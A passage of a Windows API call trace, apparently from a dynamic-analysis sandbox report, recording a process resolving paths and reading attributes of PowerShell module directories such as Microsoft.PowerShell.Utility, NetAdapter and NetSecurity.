lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x50, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", lpFilePart=0x0) returned 0x4f [0159.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.860] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0159.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.860] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0159.860] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x54, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", lpFilePart=0x0) returned 0x53 [0159.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.861] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc132049, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.861] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0159.861] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x4d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", lpFilePart=0x0) returned 0x4c [0159.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.861] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc132470, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.862] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.LocalAccounts", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x56 [0159.862] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.LocalAccounts", nBufferLength=0x56, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.LocalAccounts", lpFilePart=0x0) returned 0x55 [0159.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.862] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.LocalAccounts" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.localaccounts"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc13289f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1826502a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.862] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0159.862] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0159.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.862] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc1b1554, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.863] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0159.863] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x53, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", lpFilePart=0x0) returned 0x52 [0159.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.863] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0159.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.863] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0159.863] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0159.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.864] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc212127, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.864] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0159.864] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0159.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.864] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc21280f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.864] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0159.864] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x4e, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", lpFilePart=0x0) returned 0x4d [0159.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.865] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc212c4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.865] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MMAgent", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3b [0159.865] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MMAgent", nBufferLength=0x3b, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MMAgent", lpFilePart=0x0) returned 0x3a [0159.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.865] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MMAgent" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\mmagent"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc213093, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.865] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0159.866] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc", nBufferLength=0x39, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc", lpFilePart=0x0) returned 0x38 [0159.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.866] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\msdtc"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0159.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.866] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MSMQ", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0159.866] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MSMQ", nBufferLength=0x38, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MSMQ", lpFilePart=0x0) returned 0x37 [0159.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.866] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MSMQ" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\msmq"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20bc0906, ftCreationTime.dwHighDateTime=0x1d32773, ftLastAccessTime.dwLowDateTime=0x2397fa76, ftLastAccessTime.dwHighDateTime=0x1d32773, ftLastWriteTime.dwLowDateTime=0x2397fa76, ftLastWriteTime.dwHighDateTime=0x1d32773, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.867] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0159.867] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter", nBufferLength=0x3e, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter", lpFilePart=0x0) returned 0x3d [0159.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.867] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netadapter"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc2679e0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e8ec2c6, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0159.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.867] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0159.867] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection", nBufferLength=0x41, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection", lpFilePart=0x0) returned 0x40 [0159.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.867] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netconnection"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc268719, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e8ec2c6, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0159.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.868] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0159.868] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture", nBufferLength=0x49, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture", lpFilePart=0x0) returned 0x48 [0159.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.868] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\neteventpacketcapture"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc268cf6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e912528, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0159.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.868] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3b [0159.868] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo", nBufferLength=0x3b, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo", lpFilePart=0x0) returned 0x3a [0159.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.868] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netlbfo"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc2dd6b5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e912528, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0159.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.869] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0159.869] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat", nBufferLength=0x3a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat", lpFilePart=0x0) returned 0x39 [0159.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.869] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc34165b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e938796, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0159.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.869] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0159.869] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos", nBufferLength=0x3a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos", lpFilePart=0x0) returned 0x39 [0159.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.870] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netqos"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc3421c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e938796, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.870] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0159.870] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity", nBufferLength=0x3f, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity", lpFilePart=0x0) returned 0x3e [0159.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.870] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netsecurity"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976cbf0e, ftLastAccessTime.dwHighDateTime=0x1d5c555, 